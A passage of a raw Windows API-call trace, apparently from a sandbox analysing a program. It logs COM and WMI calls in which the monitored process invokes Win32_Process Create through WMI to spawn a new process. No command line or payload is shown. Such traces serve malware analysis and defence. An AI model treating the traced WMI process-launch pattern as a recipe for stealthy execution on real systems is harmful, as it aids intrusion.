| out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0163.509] WbemDefPath:IWbemPath:GetText (in: This=0x1bc956b0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0163.509] WbemDefPath:IWbemPath:GetText (in: This=0x1bc956b0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0163.509] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95770, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0163.509] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0163.509] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.509] WbemDefPath:IWbemPath:GetText (in: This=0x1bc956b0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0163.509] WbemDefPath:IWbemPath:GetText (in: This=0x1bc956b0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0163.509] IWbemServices:ExecMethod (in: This=0x1bc35e20, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bc776f0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bc779a0, ppCallResult=0x0) returned 0x0 [0163.714] IWbemClassObject:Get (in: This=0x1bc779a0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e9ea8*=0, plFlavor=0x27e9eac*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa40, varVal2=0x0), pType=0x27e9ea8*=19, plFlavor=0x27e9eac*=0) returned 0x0 [0163.715] IWbemClassObject:Get (in: This=0x1bc779a0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e9ea8*=19, plFlavor=0x27e9eac*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa40, varVal2=0x0), pType=0x27e9ea8*=19, plFlavor=0x27e9eac*=0) returned 0x0 [0163.715] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0163.716] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0163.716] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0163.716] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.718] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbf11a0) returned 0x0 [0163.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf11a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0163.718] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf11a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc94f30) returned 0x0 [0163.718] WbemDefPath:IUnknown:Release (This=0x1bbf11a0) returned 0x0 [0163.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc94f30) returned 0x0 [0163.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0163.719] WbemDefPath:IUnknown:AddRef (This=0x1bc94f30) returned 0x3 [0163.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0163.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0163.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbf1320) returned 0x0 [0163.719] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1320, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.719] WbemDefPath:IUnknown:Release (This=0x1bbf1320) returned 0x3 [0163.719] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0163.719] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0163.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0163.719] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x2 [0163.719] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x1 [0163.719] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0163.719] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0163.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc94f30) returned 0x0 [0163.719] WbemDefPath:IUnknown:AddRef (This=0x1bc94f30) returned 0x3 [0163.719] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x2 [0163.719] WbemDefPath:IWbemPath:SetText (This=0x1bc94f30, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0163.719] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94f30, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0163.719] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94f30, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0163.719] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94f30, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0163.720] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94f30, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0163.720] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94f30, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0163.720] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94f30, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0163.720] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0163.720] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0163.720] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0163.720] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.722] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbf1200) returned 0x0 [0163.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1200, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0163.722] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1200, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc94e70) returned 0x0 [0163.722] WbemDefPath:IUnknown:Release (This=0x1bbf1200) returned 0x0 [0163.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc94e70) returned 0x0 [0163.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0163.723] WbemDefPath:IUnknown:AddRef (This=0x1bc94e70) returned 0x3 [0163.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0163.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0163.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbf1160) returned 0x0 [0163.723] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1160, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.723] WbemDefPath:IUnknown:Release (This=0x1bbf1160) returned 0x3 [0163.723] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0163.723] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0163.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0163.723] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x2 [0163.723] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x1 [0163.724] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0163.724] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0163.724] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc94e70) returned 0x0 [0163.724] WbemDefPath:IUnknown:AddRef (This=0x1bc94e70) returned 0x3 [0163.724] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x2 [0163.724] WbemDefPath:IWbemPath:SetText (This=0x1bc94e70, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0163.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94e70, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0163.724] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0163.724] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0163.724] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94e70, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0163.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94e70, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0163.724] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94e70, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0163.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94e70, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0163.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0163.724] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0163.724] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.724] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0163.724] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0163.724] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0163.724] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.726] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bbf1c60) returned 0x0 [0163.726] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1c60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0163.727] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1c60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc94cf0) returned 0x0 [0163.727] WbemDefPath:IUnknown:Release (This=0x1bbf1c60) returned 0x0 [0163.727] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc94cf0) returned 0x0 [0163.727] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0163.727] WbemDefPath:IUnknown:AddRef (This=0x1bc94cf0) returned 0x3 [0163.727] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0163.727] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0163.727] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bbf1480) returned 0x0 [0163.727] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1480, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.727] WbemDefPath:IUnknown:Release (This=0x1bbf1480) returned 0x3 [0163.727] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0163.727] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0163.727] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0163.727] WbemDefPath:IUnknown:Release (This=0x1bc94cf0) returned 0x2 [0163.728] WbemDefPath:IUnknown:Release (This=0x1bc94cf0) returned 0x1 [0163.728] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0163.728] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0163.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc94cf0) returned 0x0 [0163.728] WbemDefPath:IUnknown:AddRef (This=0x1bc94cf0) returned 0x3 [0163.728] WbemDefPath:IUnknown:Release (This=0x1bc94cf0) returned 0x2 [0163.728] WbemDefPath:IWbemPath:SetText (This=0x1bc94cf0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0163.728] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94cf0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0163.728] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94cf0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0163.728] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94cf0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.728] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0163.728] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0163.728] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0163.728] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.729] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc6ff80) returned 0x0 [0163.729] 